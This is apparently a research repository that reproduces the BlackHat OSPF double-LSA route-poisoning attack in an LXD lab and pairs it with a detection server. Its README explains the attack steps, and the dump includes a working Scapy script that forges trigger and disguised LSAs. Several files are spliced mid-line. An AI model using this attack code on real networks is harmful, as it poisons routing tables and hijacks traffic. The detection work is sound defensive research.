├── .idea
├── .name
├── OSPF_Attack_and_Detection.iml
├── inspectionProfiles
│ └── profiles_settings.xml
├── misc.xml
├── modules.xml
├── vcs.xml
└── workspace.xml
├── Detection
├── detection_server.py
├── lxd_ospf_restart.sh
├── lxd_vethfinder.sh
├── merge.py
├── middle_box.py
├── ospf_double_lsa_attack.pcapng
└── test.py
├── README.md
├── build_network.sh
├── double_lsa_attack.py
└── flaskWeb.py
/.idea/.name:
--------------------------------------------------------------------------------
1 | OSPF_Attack_and_Detection
--------------------------------------------------------------------------------
/.idea/OSPF_Attack_and_Detection.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
--------------------------------------------------------------------------------
/.idea/inspectionProfiles/profiles_settings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/.idea/workspace.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
110 |
111 |
112 |
113 |
114 |
115 |
116 |
117 |
118 |
119 |
120 |
121 |
122 |
123 |
124 |
125 |
126 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
148 |
149 |
150 |
151 |
152 |
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
167 | 1597928746661
168 |
169 |
170 | 1597928746661
171 |
172 |
173 |
174 |
175 |
176 |
185 |
186 |
187 |
--------------------------------------------------------------------------------
/Detection/detection_server.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python
2 | """
3 | Detection Server: Receive packets from Middle Box and send the attack recovery instruction
4 | Author: Alston
5 | Date: 2020.8.7
6 | """
7 |
8 | import socket
9 | import threading
10 | import struct
11 | import subprocess
12 | import redis
13 | from time import *
14 | from threading import Thread
15 | from interval import Interval
16 | from scapy.all import *
17 | load_contrib("ospf")
18 |
19 | def recv_from_udp():
20 | global client_list
21 | while True:
22 | try:
23 | data, addr = s.recvfrom(1024)
24 | if addr not in client_list:
25 | print('Receiving from %s:%s!' % addr)
26 | s.sendto(b'Hello, %s!' % data, addr)
27 | client_list.append(addr)
28 | # Processing packets from the middle box
29 | else:
30 | global ack_num
31 | global sliding_window
32 | pkt_num = struct.unpack('h', data[0:2])[0]
33 | pkt = Ether(data[2:])
34 | if pkt_num == ack_num:
35 | # Send to Middle_Box an ACK, whose number is same as the received pkt_num
36 | s.sendto(data[0:2], addr)
37 | # If the number of middle_box greater than 1, the packets in this list should be sorted by timestamp
38 | sliding_window.append(pkt)
39 | # wrpcap('ospf_double_lsa_attack.pcapng', pkt, append=True)
40 | print("The OSPF LSUpd packet #%d" % pkt_num + " received from %s:%d!" % addr)
41 | ack_num += 1
42 | except:
43 | print("Error!")
44 | break
45 | print('-----------------------------------------------------------------------')
46 |
47 | def get_lsa_information(pkt, lsa_num=0):
48 | # Suppose that only 1 LSA in the lsalist
49 | seq = pkt[OSPF_LSUpd].lsalist[lsa_num][OSPF_Router_LSA].seq
50 | time = pkt.time
51 | link_state_id = pkt[OSPF_LSUpd].lsalist[lsa_num][OSPF_Router_LSA].id
52 | advertising_router = pkt[OSPF_LSUpd].lsalist[lsa_num][OSPF_Router_LSA].adrouter
53 | return seq, time, link_state_id, advertising_router
54 |
55 | def recovery():
56 | # send the recovery instruction to the Middle Box
57 | data = str(attack_rec) + "," + victim_router
58 | client_ip = client_list[0][0]
59 | # client port for recovery
60 | client_port = 7890
61 | s.sendto(data.encode('utf-8'), (client_ip, client_port))
62 | print("[+] The recovery instruction has been sent.")
63 |
64 | def detection_algorithm():
65 | global malicious_lsa
66 | head = 0
67 | tail = 1
68 | while True:
69 | start_time = time.time()
70 | while True:
71 | try:
72 | end_time = time.time()
73 | if end_time - start_time > 5:
74 | head += 1
75 | tail = head + 1
76 | if sliding_window[tail]:
77 | img_disguised = sliding_window[tail]
78 | break
79 | except IndexError:
80 | print("There are no more LSAs to analyse. Waiting...")
81 | sleep(10)
82 | continue
83 | img_trigger = sliding_window[head]
84 | while True:
85 | img_trigger_information = get_lsa_information(img_trigger)
86 | img_disguised_information = get_lsa_information(img_disguised)
87 | # Conditions to judge two LSA whether equal
88 | if img_trigger_information[0] == img_disguised_information[0] - 1 and \
89 | img_disguised_information[1] - img_trigger_information[1] in Interval(1, 5, closed=False) and \
90 | img_trigger_information[2:] == img_disguised_information[2:]:
91 | # Avoid alerting and sending recovery instruction repeatedly
92 | if malicious_lsa['trigger'] == None and malicious_lsa['disguised'] == None:
93 | malicious_lsa['trigger'] = img_trigger
94 | malicious_lsa['disguised'] = img_disguised
95 | else:
96 | mal_trigger = malicious_lsa['trigger']
97 | mal_disguised = malicious_lsa['disguised']
98 | # The newly captured img_lsa are the same as mal_lsa
99 | if get_lsa_information(mal_trigger)[0] == img_trigger_information[0] and \
100 | get_lsa_information(mal_disguised)[0] == img_disguised_information[0]:
101 | head += 1
102 | tail = head + 1
103 | break
104 | else:
105 | malicious_lsa['trigger'] = img_trigger
106 | malicious_lsa['disguised'] = img_disguised
107 | print('-----------------------------------------------------------------------')
108 | print("Warning!!!")
109 | print("The advertising router is: "+str(img_trigger_information[-1]))
110 | print("Trigger LSA: " + str(img_trigger.summary()))
111 | print("Disguised LSA: " + str(img_disguised.summary()))
112 | trigger_bytes = raw(img_trigger)
113 | disguised_bytes = raw(img_disguised)
114 | client_ip = client_ip = client_list[0][0]
115 | client_port = 7891
116 | trigger_len = struct.pack('i', len(trigger_bytes))
117 | s.sendto(trigger_len + trigger_bytes + disguised_bytes, (client_ip, client_port))
118 | print("[+] The two malicious LSAs have been sent to the middle box! ")
119 | recovery()
120 | print('-----------------------------------------------------------------------')
121 | head += 1
122 | tail = head + 1
123 | break
124 | else:
125 | tail += 1
126 | break
127 |
128 | if __name__ == '__main__':
129 | #####################################################
130 | # Initial configuration #
131 | #####################################################
132 |
133 | server_ip = "192.168.37.19"
134 |
135 | # Use networkID+IP to get the name of victim_router
136 | victim_router = 'r5'
137 |
138 | # Instruction of attack recovery
139 | attack_rec = True
140 |
141 | #####################################################
142 | ack_num = 0
143 |
144 | # Used to store multiple Middle Box
145 | client_list = []
146 |
147 | sliding_window = []
148 |
149 | # Time interval between warning and attack recovery
150 | hold_time = 10
151 |
152 | malicious_lsa = {'trigger':None, 'disguised':None}
153 |
154 | # UDP Socket
155 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
156 | s.bind((server_ip, 9527))
157 | t_recv = Thread(target=recv_from_udp, name="receive")
158 | t_detection = Thread(target=detection_algorithm, name="detection")
159 |
160 | # start the threads
161 | t_recv.start()
162 | while True:
163 | try:
164 | if sliding_window[0] and sliding_window[1]:
165 | t_detection.start()
166 | break
167 | except IndexError:
168 | print("Waiting for the coming of first two LSAs...")
169 | sleep(10)
170 | continue
171 | # wait for child-threads to finish (with optional timeout in seconds)
172 | t_recv.join()
173 | t_detection.join()
174 |
175 |
176 |
177 |
178 |
--------------------------------------------------------------------------------
/Detection/lxd_ospf_restart.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | victim=$1
4 |
5 |
6 | num=$(echo $1 | sed -e 's/r\(.*\)/\1/g')
7 |
8 | #eth0=$(lxc info $1 | grep eth0 | sed -n 1p | sed -e 's/eth0:\sinet\s\(.*\)veth\(.*\)/\1/g')
9 | #subnet=$(echo $eth0 | sed -e 's/\(.*\.\)\(.*\.\)\(.*\.\)\(.*\)/\1\2\30\/24/g')
10 |
11 |
12 | lxc exec $1 bash < 5:
82 | head += 1
83 | tail = head + 1
84 | if sliding_window[tail]:
85 | img_disguised = sliding_window[tail]
86 | break
87 | except IndexError:
88 | print("There are no more LSAs to analyse. Waiting...")
89 | sleep(10)
90 | continue
91 | img_trigger = sliding_window[head]
92 | while True:
93 | img_trigger_information = get_lsa_information(img_trigger)
94 | img_disguised_information = get_lsa_information(img_disguised)
95 | # Conditions to judge two LSA whether equal
96 | if img_trigger_information[0] == img_disguised_information[0] - 1 and \
97 | img_disguised_information[1] - img_trigger_information[1] in Interval(1, 5, closed=False) and \
98 | img_trigger_information[2:] == img_disguised_information[2:]:
99 | # Avoid alerting and sending recovery instruction repeatedly
100 | if malicious_lsa['trigger'] == None and malicious_lsa['disguised'] == None:
101 | malicious_lsa['trigger'] = img_trigger
102 | malicious_lsa['disguised'] = img_disguised
103 | else:
104 | mal_trigger = malicious_lsa['trigger']
105 | mal_disguised = malicious_lsa['disguised']
106 | # The newly captured img_lsa are the same as mal_lsa
107 | if get_lsa_information(mal_trigger)[0] == img_trigger_information[0] and \
108 | get_lsa_information(mal_disguised)[0] == img_disguised_information[0]:
109 | head += 1
110 | tail = head + 1
111 | break
112 | else:
113 | malicious_lsa['trigger'] = img_trigger
114 | malicious_lsa['disguised'] = img_disguised
115 | print('-----------------------------------------------------------------------')
116 | print("Warning!!!")
117 | print("The advertising router is: "+str(img_trigger_information[-1]))
118 | print("Trigger LSA: " + str(img_trigger.summary()))
119 | print("Disguised LSA: " + str(img_disguised.summary()))
120 | store_malicious_lsa(img_trigger, img_disguised)
121 | recovery(attack_rec)
122 | print('-----------------------------------------------------------------------')
123 | head += 1
124 | tail = head + 1
125 | break
126 | else:
127 | tail += 1
128 | break
129 |
130 |
131 | if __name__ == '__main__':
132 | #####################################################
133 | # Initial configuration #
134 | #####################################################
135 | device_if = [['r1', 'eth0'],
136 | ['r1', 'eth1'],
137 | ['r3', 'eth0'],
138 | ['r3', 'eth1']
139 | ]
140 | # Use networkID+IP to get the name of victim_router
141 | victim_router = 'r5'
142 | # Instruction of attack recovery
143 | attack_rec = True
144 | # IP address of the attack router
145 | attack_ip = ["192.168.16.127", "192.168.12.249"]
146 | #####################################################
147 |
148 | veth_list = get_veth()
149 | sliding_window = []
150 | # Time interval between warning and attack recovery
151 | hold_time = 10
152 | malicious_lsa = {'trigger': None, 'disguised': None}
153 |
154 | t_capture = Thread(target=packet_capture, name="capture")
155 | t_detection = Thread(target=detection_algorithm, name="detection")
156 |
157 | t_capture.start()
158 | while True:
159 | try:
160 | if sliding_window[0] and sliding_window[1]:
161 | t_detection.start()
162 | break
163 | except IndexError:
164 | print("Waiting for the coming of first two LSAs...")
165 | sleep(10)
166 | continue
167 |
168 | # wait for child-threads to finish (with optional timeout in seconds)
169 | t_capture.join()
170 | t_detection.join()
171 |
--------------------------------------------------------------------------------
/Detection/middle_box.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python
2 | """
3 | Middle Box: capture packets, send them to the detection server and receive an instruction to recovery the attack in host machine
4 | Author: Alston
5 | Date: 2020.7.26
6 | """
7 |
8 | import subprocess
9 | import socket
10 | import struct
11 | import redis
12 | from select import *
13 | from threading import Thread
14 | from time import *
15 | from scapy.all import *
16 | load_contrib("ospf")
17 |
18 | def get_veth():
19 | veth_list = []
20 | for device, interface in device_if:
21 | cmd = './lxd_vethfinder.sh '+device+' '+interface
22 | res = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding="utf-8")
23 | veth = res.communicate()[0].replace('\n','')
24 | veth_list.append(veth)
25 | print('[+] The veth interfaces have been obtained!')
26 | return veth_list
27 |
28 | def send_to_analyser(pkt):
29 | # OSPF_Hdr/OSPF_LSUpd/.lsalist/OSPF_Router_LSA || OSPF_Network_LSA ||....
30 | if pkt[IP].src in attack_ip:
31 | # print(pkt.summary())
32 | # r = redis.Redis(host='127.0.0.1', port=6379)
33 | key = "lsa_from_attack_router"
34 | value = str(pkt.summary())
35 | # r.rpush(key, value)
36 |
37 | if OSPF_Router_LSA in pkt:
38 | global pkt_num
39 | # 'h' represents the short int which length is 2 bytes
40 | pkt_num_field = struct.pack('h', pkt_num % 65535)
41 | pkt_bytes = raw(pkt)
42 | # Attach the pkt_num to pkt so as to implement the stop-and-wait protocol
43 | s.sendto(pkt_num_field + pkt_bytes, (server_ip, 9527))
44 | # wrpcap('md.pcapng', pkt, append=True)
45 | # Reliable data transfer
46 | # Timeout timer = 1s
47 | s.settimeout(1)
48 | try:
49 | ack_num = struct.unpack('h', s.recvfrom(2)[0])[0]
50 | except:
51 | ack_num = -1
52 | print("Time out!")
53 | s.settimeout(None)
54 |
55 | # Retransmission only once
56 | if ack_num != pkt_num:
57 | s.sendto(pkt_num_field + pkt_bytes, (server_ip, 9527))
58 | ack_num = struct.unpack('h', s.recvfrom(2)[0])[0]
59 | print("The OSPF LSUpd packet #%d sent failed and has been retransmitted!" % pkt_num)
60 | pkt_num += 1
61 | else:
62 | print("The OSPF LSUpd packet #%d has been sent to detection server!" % pkt_num)
63 | pkt_num += 1
64 |
65 |
66 | def packet_capture():
67 | # Send
68 | msg = b'Middle Box #1'
69 | s.sendto(msg, (server_ip, 9527))
70 | # Receive
71 | print(s.recvfrom(1024)[0].decode('utf-8'))
72 | print('[+] Starting sniffing the Link State Update packets of the target network...')
73 | pkts = sniff(filter="proto ospf", iface=veth_list, prn=send_to_analyser)
74 |
75 | def recovery():
76 | ss = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
77 | ss.bind((client_ip, 7890))
78 | while True:
79 | data, addr = ss.recvfrom(1024)
80 | data = data.decode('utf-8')
81 | data = list(data.split(','))
82 | sign, victim = bool(data[0]), data[1]
83 | if sign:
84 | sleep(7)
85 | cmd = './lxd_restart_ospf.sh ' + victim
86 | res = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, encoding="utf-8")
87 | print("[+] The recovery instruction has been sent!")
88 |
89 | def receive_malicious_lsa():
90 | sss = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
91 | sss.bind((client_ip, 7891))
92 | while True:
93 | data, addr = sss.recvfrom(1024)
94 | trigger_len = struct.unpack('i', data[0: 4])[0]
95 | trigger_lsa = Ether(data[4: 4+trigger_len])
96 | disguised_lsa = Ether(data[4+trigger_len: ])
97 | print(trigger_lsa.summary())
98 | print(disguised_lsa.summary())
99 | key1 = "trigger_lsa"
100 | key2 = "disguised_lsa"
101 | value1 = str(trigger_lsa.summary())
102 | value2 = str(disguised_lsa.summary())
103 | # r = redis.Redis(host='127.0.0.1', port=6379)
104 | # r.set(key1, value1)
105 | # r.set(key2, value2)
106 | print("[+] The two malicious LSAs have been stored into the Redis!")
107 |
108 | if __name__ == '__main__':
109 | #####################################################
110 | # Initial configuration #
111 | #####################################################
112 | server_ip = "192.168.37.19"
113 | client_ip = "192.168.72.225"
114 | device_if = [['r1', 'eth0'],
115 | ['r1', 'eth1'],
116 | ['r3', 'eth0'],
117 | ['r3', 'eth1']
118 | ]
119 | attack_ip = ["192.168.16.127", "192.168.12.249"]
120 | #####################################################
121 | pkt_num = 0
122 | veth_list = get_veth()
123 |
124 | # UDP Socket for sending packets
125 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
126 | s.bind((client_ip, 11111))
127 |
128 | t_capture = Thread(target=packet_capture, name="capture")
129 | t_recovery = Thread(target=recovery, name="recovery")
130 | t_RecMalLsa =Thread(target=receive_malicious_lsa, name="RecMalLsa")
131 | t_capture.start()
132 | t_recovery.start()
133 | t_RecMalLsa.start()
134 | t_capture.join()
135 | t_recovery.join()
136 | t_RecMalLsa.join()
137 |
138 |
139 |
140 |
141 |
--------------------------------------------------------------------------------
/Detection/ospf_double_lsa_attack.pcapng:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lizitong67/OSPF_Attack_and_Detection/d7eb0823ce924f8619819042d7f88751b4de97a5/Detection/ospf_double_lsa_attack.pcapng
--------------------------------------------------------------------------------
/Detection/test.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python
2 | """
3 | Detection Algorithm
4 | Author: Alston
5 | Date: 2020.8.20
6 | """
7 | from scapy.all import *
8 | load_contrib("ospf")
9 | from threading import Thread
10 | from time import *
11 | from interval import Interval
12 | import struct
13 |
14 | #!/bin/bash
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # OSPF_Attack_and_Detection
2 |
3 |
4 |
5 | I will talk about an attack against the OSPF protocol published by Alex Kirshon, Dima Gonikman, and Gabi Nakibly during a BlackHat conference. The purpose of this paper is to provide an understanding of the attack and automate it with scripts in a virtual network environment.
6 |
7 | # 1 Tool used
8 |
9 | - LXD
10 | - FRRouting
11 | - Python Scapy
12 | - Wireshark
13 |
14 | # 2 Key points
15 |
16 | **The OSPF Fight Back Mechanism**
17 |
18 | When a router A receives an LSA and the *Advertising-Router* field equals the *Router-id* of A (The LSA is advertised by A itself), Router A inspects the content and if it is not correct (The routing information of A has tampered), returns immediately another correct LSA which will overwrite the old one.
19 |
20 | **Two LSA are considered identical if they meet the following criteria**
21 |
22 | - Same *sequence number*
23 | - Same *checksum value*
24 | - Same *age* (+/- 15 min)
25 |
26 | # 3 The attack
27 |
28 | 
29 |
30 | ## Attack steps
31 |
32 | **step1:** A **Trigger LSA** specifically craft to usurp an LSA packet from R1 and we send this false LSA to R1 to trigger the fight back mechanism.
33 |
34 | **step2:** We send a **Disguised LSA**, which craft to match the **Fight Back LSA** from R1 and carrying false routing information to poison the route table of victims, to R2 simultaneously. That means the Disguised LSA and Fight Back LSA have the same sequence number, checksum, and age, i.e., these two LSA are deemed to be identical.
35 |
36 | **step3:** R1 send the Fight Back LSA once receives the Trigger LSA from the attacker, which will be rejected by R2 because R2 already received an equivalent LSA from the attacker forged in step2.
37 |
38 | **step4:** R2 flood the Disguise LSA, R1 receives the packet but reject it, being seen as identical to the Fight Back LSA it sent in step 3.
39 |
40 | Thus in the wake of the attack, R1 and R2 have a different LSDB as R2 has a tainted route-table. This continues until the next update of the LSA Database (30 minutes by default)
41 |
42 |
43 |
44 | # 4 Experiment
45 |
46 | 
47 |
48 | We use the Linux container **LXD** and a shell script to create the network topology automatically. Each router is an Alpine Linux instance with the **FRRouting** build in to conduct the OSPF routing protocol.
49 |
50 | After that, the attack is implemented as follows:
51 |
52 | - Firstly, We sniffing the OSPF packet consecutively in the attack router R1 and stop when the first OSPF LSUpd packet containing Router LSA is received from the victim router R5. We separate the last OSPF LSUpd from the sniffing packets as *original packet* and use it to craft the trigger packet and evil packet for convenience. Besides, sniffing the network without a break in order to launch the attack at any time whenever the victim router sent a LSUpd to revise other router's routing information about itself.
53 | - Secondly, we craft a trigger packet and send it to the victim router in the form of multicast in order to trigger the fightback mechanism of R5. We also send the trigger packet to R6 simultaneously just to guarantee the arriving LSUpd sequence order.
54 | - Eventually, we specifically craft a disguised LSA which same as the fightback LSA sent by R5 and sent the disguised LSA to R6 after 2 seconds cease. The reason why we cease 2 seconds is that the OSPF can only process one LSA per second by default and the fightback mechanism is not triggered until 5 seconds approximately after receiving the trigger LSA. Therefore the time interval between the sending of trigger LSA and disguised LSA should in 1~5 seconds.
55 |
56 | By reason of the disguised LSA arrive at R6 before the fightback LSA, the poison target router R6 will add the false routing information carried by the disguised LSA to its routing table. The goal of the attacker is accomplished up to here.
57 |
58 | The trigger LSA, disguised LSA, and fightback LSA captured by Wireshark are as follows:
59 |
60 | trigger LSA:
61 |
62 | 
63 |
64 | disguised LSA:
65 |
66 | 
67 |
68 | fightback LSA:
69 |
70 | 
71 |
72 | The poisoned routing table of R6 is as follows:
73 |
74 | 
75 |
76 |
77 |
78 |
--------------------------------------------------------------------------------
/build_network.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | #######################################
3 | # Creat network topology via LXD #
4 | # Author: Alston #
5 | # Date: 2020.7.10 #
6 | #######################################
7 |
8 |
9 | ROUTER_NUM=6
10 |
11 |
12 | HOST_TEMPLATE_NAME="host"
13 | ROUTER_TEMPLATE_NAME="router"
14 |
15 | SUBNET=192.168
16 |
17 |
18 | create_new_container() {
19 | if [ -d "/var/snap/lxd/common/lxd/containers/$1" ];
20 | then
21 | echo "Container $1 already exists!"
22 | return
23 | fi
24 | lxc copy ${2} ${1} && echo "Container $1 created!"
25 | }
26 |
27 | create(){
28 | echo "Now create nodes..."
29 | for router_name in $(seq 1 ${ROUTER_NUM});
30 | do
31 | create_new_container r${router_name} ${ROUTER_TEMPLATE_NAME}
32 | done
33 | }
34 |
35 | create_link(){ #create interface and attach network
36 |
37 | last_eth=$(lxc config device list ${1} | tail -n 1)
38 |
39 | if [[ $last_eth =~ "eth" ]] #判断子字符串
40 | then
41 | new_eth=eth$(( ${last_eth: -1} + 1 ))
42 | echo "New interface of ${1} is ${new_eth}"
43 |
44 | lxc start ${1}
45 | lxc exec ${1} bash <> /etc/network/interfaces < metric = 49 and type =12
182 | IMPROVED SOLUTION:
183 | Due to the fact that the metric is 2 bytes long and that C0 and C1 are always evaluated as mod(255),
184 | there is no need to change all the other parameters.
185 | """
186 | count = pkt_evil[OSPF_LSUpd].lsalist[victim_lsa_index][OSPF_Router_LSA].linkcount - 1
187 | pkt_orig[OSPF_LSUpd].lsalist[victim_lsa_index][OSPF_Router_LSA].seq += 2
188 | faked_metric = get_fake_metric_value(pkt_orig[OSPF_LSUpd].lsalist[victim_lsa_index][OSPF_Router_LSA], \
189 | pkt_evil[OSPF_LSUpd].lsalist[victim_lsa_index][OSPF_Router_LSA], count)
190 | pkt_evil[OSPF_LSUpd].lsalist[victim_lsa_index][OSPF_Router_LSA].linklist[count][OSPF_Link].metric = faked_metric
191 |
192 | print("[+] Collision found! Time to send the pkts...")
193 |
194 | # Now that the packet is ready, we let Scapy recalculate length, checksums, etc..
195 |
196 | # pkt_evil[Ether].src = "00:16:3e:3a:a7:11"
197 | # pkt_evil[Ether].dst = "01:00:5e:00:00:05"
198 | pkt_evil[IP].src = disguised_send_ip
199 | pkt_evil[IP].dst = "224.0.0.5"
200 | pkt_evil[IP].chksum = None
201 | pkt_evil[IP].len = None
202 | pkt_evil[OSPF_Hdr].chksum = None
203 | pkt_evil[OSPF_Hdr].len = None
204 | pkt_evil[OSPF_LSUpd].lsalist[victim_lsa_index][OSPF_Router_LSA].chksum = None
205 |
206 | # Send trigger packet to trigger the fightback mechanism
207 | sendp(pkt_trig, iface=trigger_send_if)
208 | sleep(2)
209 | sendp(pkt_evil, iface=disguised_send_if)
210 |
211 |
--------------------------------------------------------------------------------
/flaskWeb.py:
--------------------------------------------------------------------------------
1 | from flask import Flask
2 |
3 | app = Flask(__name__)
4 |
5 | @app.route('/')
6 | def func():
7 | return "Hello world!"
8 |
9 | if __name__ == '__main__':
10 | app.run('0.0.0.0', port=8080)
11 |
--------------------------------------------------------------------------------